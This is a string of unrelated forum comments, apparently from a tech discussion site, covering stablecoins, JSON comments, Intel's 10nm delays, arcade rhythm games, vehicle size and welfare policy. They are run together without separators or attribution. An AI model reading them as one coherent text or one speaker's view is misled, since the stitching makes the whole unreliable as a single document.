> We should just settle on a single internet currency that's fast, interoperable and not a market for speculation.

With respect to crypto, a "single currency" shouldn't be a prerequisite because, with a $3T mcap, crypto has plenty of liquidity across centralized and decentralized exchanges to allow anyone to convert between any currencies they have on-chain. (Uniswap for instance has $1B - $6B volume transacted daily.)

Declaring a single currency would also be antithetical to free market competition for currencies.

> interoperable

If "interoperable" means you can use the currency anywhere, then I think liquidity for currency conversion is sufficient.

That said, we already have dollar (USD) stablecoins[^0] on all major L1, L2, rollup blockchains. Because they are pegged to the U.S. dollar, they also meet your requirement that the currency not be speculative (Strictly speaking, the U.S. dollar is inflationary and therefore is subject to speculation, but perhaps I'm being pedantic.).

> fast

Rollups[^3] provide fast transactions. These use various cryptographic protocols to verifiably and quickly batch and compress user operations on-chain.

> deep integration of modern banking changes

"Deep integration of modern banking" sounds good but modern banking creates a choke point[^1] where users can be targeted and denied services. Ultimately we would want to be able to stay on-chain for all payments and not need off-ramps which leave users open to debanking[^2] or surveillance. Crypto is permissionless and, with little effort from the user, censorship resistant.

"Stablecoins – tokenized representations of fiat currencies circulating on blockchains 1 – are unambiguously the “killer app” of crypto so far. There are over $160 billion worth of stablecoins in circulation today, up from single digit billions as recently as 2020. Over 20 million addresses make a stablecoin transaction on public blockchains every month. And in the first half of 2024, stablecoins settled (according to our adjusted estimates) over $2.6 trillion dollars worth of value. Stablecoins offer considerable advantages relative to existing payment systems, including native programmability, strong auditability properties, fast settlement, the ability to self-custody, and native interoperability"

Ah yeah, E4000 tuner, those were hard to come by even 10 years ago, so I didn't support them. Only R820 and R828 and compatibles...
What an extreme reaction. Many people would not be able to parse it since they've never seen a number written in this way, but you immediately write them off as assholes. Wow.
I see why you might be concerned, but your freedom of speech does not include a right to force others to repeat it for you.

Besides, YouTube is not a reputable peer reviewed journal. Actual science was not hindered.

I see some recommendations about running a small version of the analysis first to see if it's going to work at all. I agree, and the next level up is to also estimate the value of performing the full analysis. I.e. not just whether or not it will work at all, but how much it is allowed to cost and still be useful.

You may find, for example, that each unit of uncertainty reduced costs more than the value of the corresponding uncertainty reduction. This is the point at which one needs to either find a new approach, or be content with the level of uncertainty one has.

Whatever?
When I think of how often and where JSON is used, as a data interchange format for APIs, in the browser, databases, and everywhere else - all the billions of bytes transferred in JSON every second - in all those use cases comments would be pointless and counterproductive and just take up storage space or bandwidth. That's JSON's primary use case in the world. It's only in the very few use cases specifically for programmers where comments would sort of be helpful in JSON, and most of those cases are not really that important to support when there are workarounds - structure your JSON well and you can include the comments as part of the JSON, and then you can even use the comments programmatically should that be useful (which I think is slightly more useful than storing knowledge in a JSON file as a comment).

>Trying to prevent programmers from doing something "because they may 'misuse' comments" is asinine to the extreme.

Programmers are often their own worst enemies. Some prefer rigid rulesets over less rigid freeform programming. See Typescript vs Javascript. No comments in JSON is just another example of over-rigidification, and some programmers love that.

>package.json since it can't support comments,

If you're needing to write comments in package.json, maybe you're not approaching package.json correctly? It's really for node things, not your things that you need to write comments about. I'm not even sure why someone would want to write comments in package.json. I get it with comments in other JSON files, but package.json probably should be left for nodejs things.
This same relationship between emotion and inhibition of critical faculties plays a large part in the high error rate of justice systems around the world. In the extreme resulting in the bizarrely illogical "someone has to pay" sentiment of vengeful victims and jury, almost to the point they are aware their instinct is wrong but would prefer to live in the fantasy of the closure it offers.

Perhaps some good can come out of a technology over exploiting this human weakness, by forcing society to learn how to combat these weaknesses where it's even more important.

You just mentioned the only thing that bugs me with mise: the frequent (sometimes 3x per day) releases.

I say this only because I’m one of the maintainers of the MacPorts port for mise, and while I’ve automated things, I have had more than one port update be outdated before it gets merged because of these releases.

I’ve automated the PR submission steps (not with GHA, but with a shell script I run on my Mac), but after discussion with the gentleman who usually merges those PRs, we decided that we'll probably do them every 2 or 3 days.
There should be representation in management from every realm in which a company does battle on a complex field. A technical company should have strong representation from engineering, but it cannot and should not neglect lawyers in various specialties (tax, tort, labor) and include those knowledgable in finance, marketing and (when applicable) the supply chain. The members should ALL have "leadership" pixie dust. A companies leaders need to have insight and experience in every domain in which the firm faces either existential threat or growth opportunity.

Blade guards are rarely used in shops I've worked in. I've even worked in a shop that removed the riving knifes on their saws as they got in the way of certain cuts and they didn't want to spend time taking them on and off.
I've replaced all of HA with just some Python interacting with an MQTT server. I just script all the automation and don't have to care about the other 90% of what HomeAssistant brings to the table.

Part of the problem with that approach is that a lot of people are getting their dis/misinformation from very large sources. Infowars, Breitbart, Zerohedge, The Free Press, Turning Point USA, etc: the list is endless of total nonsense sources that tend to spread around the same polemical and heterodox disinformation. People will cycle through the same content shared by each of these sources as "proof" of their claim when behind the scenes it's all just covering a single person's errant Tweet.

We cannot have accurate information in a highly unequal, unjust society. Inequality requires a lot of misinformation to uphold; such amount of misinformation coming out of institutions will necessitate that people craft potent counter-narratives to fight back for their survival.

Institutions cannot keep taking wealth and expect people to top themselves one by one as they run out of opportunities and resources. Some people will top themselves, but most will fight back. We should all be grateful that they do it with words.

If things keep going the way they have, fast forward 10 to 20 years and people will look back at today as a wonderful, peaceful time that it is (at least it should be for some people). A lot of people don't realize how good they have it right now. Their desire to uphold a deeply flawed system which they benefited from (past tense), without any reforms, comes across as extreme greed.

If you see people with pitchforks outside and think the solution is to ban pitchforks, then your worldview is flawed.

> But having actual per-credit licensing attached to the machines would be an easy way to tell collection societies to fuck off, because they already got paid when you paid your revshare to the arcade manufacturer, and they can't sue you if you paid for your license.

This is precisely why revenue share exists as a model. There are a lot of US operators who are still cold to the idea, but it isn't out of the question that operators would pay for updated, modern games. Rhythm games especially are difficult due to cross-border licensing issues.

The times are changing though: There has been an ongoing maimai DX location test in the US (in California, Round1 PHM and in Texas, at Dave 'n Busters), and there was recently the successful completion of the location test for Taiko no Tatsujin, with a full scale launch starting in November. There are pains, but these games are slowly coming over.

I assume you already know this stuff, but I think the average person would read your take as fairly cynical. The fact that SEGA Fave and Bandai Namco are even remotely considering operating online, networked rhythm games in the US is something to be thankful for. maimai's location test was online, with a large catalog of songs, on the international ALL.net service. Compared to the maimai PiNK loctest, which was offline with paltry songs, it's way, way more likely to be a long-term initiative.
Intel did a good job on iGPUs, which satisfy most customers (even back in the i915 days).

But in retrospect, of course it was a missed market. It's hard to disentagle that choice from others in the same era (including the refusal to jump onto EUV or chiplets).
Yep was going to say something similar.

Probably best to stick to something like the BBC news for most things IMO - they're not funded by advertising or some billionaire trying to influence things, not politically aligned (some people will argue against that though), and do generally decent journalism.

Plastic in a landfill and carbon dioxide in the air are two very different forms of environmental damage, even though they frequently get lumped into the same catchall, and only the latter has the potential to be a civilization-ender, so most people mostly care about that.
It seems hard to differntiate between chicken and the egg here. Do consumers really prefer big vehicles outright? Or do they prefer them based on the marketing of those vehicles as 'safer' or 'capable' or whatever? We know margins are higher on larger cars, so there is an incentive even in non-CAFE areas.

Part of it feels like an arms race played out on the road as well. I finally had to buy a new[er] car after my 2001 Volvo wagon died. Modern cars are massive, heavy, and have shit visibility. They also have surprisingly similar or even smaller interior volumes compared to similar exterior sozed cars of 15+ years ago. But let me tell you, test driving even like a modern RAV4 (not a huge car by modern standards) made me feel like a prince on the road compared to my low ride wagon. Didnt feel like every other car on the road could run me over without noticing either.

Seems like cars will just keep growing til they hit the limit of roads, parking lots, and garages?

The 2017 "launch" of Cannonlake wasn't something that anyone inside or outside of Intel could have reasonably considered to be a "routine burp". It was a desperate move to avoid shareholder lawsuits and possible criminal prosecution. Intel had to ship something under the 10nm label before the end of the year, because they had made far too many (false) promises that 10nm would be working Soon. Cannonlake was a mostly-broken chip because their 10nm process did not work, and Intel never even tried to make significant revenue from it or ramp it to volume production (though they kept promising for months that they were going to ramp). And it was still two years late.

Meanwhile, Intel's chip designers kept targeting an unusable process, and wasted years that they should have been iterating on designs for the fab process that actually worked. Skylake shipped in 2015. They didn't deliver a new CPU microarchitecture on 14nm until 5.5 years later, a year and a half after they shipped that same microarchitecture in a mobile-only form when their 10nm finally started to be somewhat usable (but not fast enough for desktop).

What were the chip designers doing for all those years? In 2015, Intel knew that 14nm had been harder to bring up than any previous fab process, and they knew that 10nm was proving even harder, but they refused to try making an updated CPU design for 14nm. How could the management not have realized that spending multiple consecutive years not shipping new designs would cause long-term damage to their capability to iterate on CPU designs? Not participating in the feedback loop of actually shipping left Intel with an oversized P-core design and an E-core design that wasn't well-matched to it, making Alder Lake awkward and slapdash when they finally got 10nm working well enough for desktop CPUs.
> or literal slot machines

While I agree with the description of "kid-friendly casino", the big thing distinguishing "literal slot machines" to me is that they pay out in tokens. Any machine at Chuck E. Cheese would pay out in tickets.* That means you go in with X tokens, come out with Y tickets, and can't feed the tickets back into the machine. Instead, you get a plastic ring with a spider on it.

But you do get something; with a slot machine, you're guaranteed to end up with nothing.

* Actually, I think there was some kind of shelves-and-pushers machine where the goal was to somehow trigger the mechanism to shove a bunch of tokens off a shelf. This was not popular.
IMO the main reason why dedicated audio cards aren't a thing anymore is that Microsoft killed hardware accelerated audio as part of their driver API changes in Vista. The result is that games today have worse spatial audio than games that came out 20 years ago. If Microsoft hadn't done that, I think audio cards would have been in the same position as video cards where most users have their needs met by integrated solutions and gamers/high end users get dedicated cards (of course dedicated audio cards would have been more of a niche than GPUs).
Yeah, see, I actually just simply don't know what the breakdown of the 30,000 incidents per year is. I would've guessed a large number of those incidents were from hobbyists and not professionals, and I would guess that the mistakes hobbyists make are different in origin from the mistakes professionals make, even if they have common threads. If it so happens that it's actually mostly professionals losing fingers, then I'm barking up the wrong tree with this.
The admin overhead for work requirements is also very much not worth it. It's basically just mandating extra paperwork and if you file it wrong you can't eat.

The reason we have it partly that welfare recipients literally don't like getting welfare without strings attached because they think it's embarrassing (or that the other people getting it don't deserve it), and part that states are hoping to save money by kicking people off for doing the paperwork wrong.

EITC is a way to do "work requirements" without the downsides.
Well i agree, in my experience in the past, lots of reports that looked like junk reports were actually real. I've seen lots of security reports with nonsensical explanations, very broken english to the point you can't follow, and then you run their PoC and it shockingly works.

Triaging security reports is exhausting and very hard.
